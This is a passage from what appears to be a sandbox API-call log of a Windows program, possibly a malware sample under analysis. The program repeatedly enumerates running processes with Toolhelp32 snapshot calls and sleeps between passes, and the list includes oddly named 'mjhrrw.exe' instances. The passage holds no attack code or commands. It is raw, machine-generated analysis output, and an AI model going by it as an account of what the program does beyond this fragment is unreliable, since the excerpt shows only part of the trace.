lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.226] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0249.228] CloseHandle (hObject=0x398) returned 1 [0249.228] Sleep (dwMilliseconds=0x1f4) [0249.898] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0249.902] Process32FirstW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.903] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.904] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.904] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.906] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.922] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.922] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.923] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.924] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.925] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.925] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.926] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.927] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.928] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.928] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.929] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.929] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.930] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.930] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.931] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.931] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.932] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.932] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.933] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.934] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.934] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.935] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.935] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0249.936] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0249.936] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0249.936] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0249.937] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.938] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0249.938] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.939] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0249.939] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0249.940] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0249.952] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0249.952] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0249.953] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0249.981] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.982] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0249.983] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0249.984] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.984] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0249.985] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0249.985] CloseHandle (hObject=0x394) returned 1 [0249.985] Sleep (dwMilliseconds=0x1f4) [0250.597] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0250.603] Process32FirstW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.604] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.604] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.605] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.606] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.606] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.607] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.608] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.609] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.610] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0250.610] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0250.611] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.612] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.612] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.613] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.614] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.615] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.616] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.617] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.618] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.618] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.619] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.620] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.620] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.621] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0250.621] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.622] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0250.623] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0250.624] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0250.625] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0250.626] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0250.627] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.627] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0250.628] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0250.629] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0250.630] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: 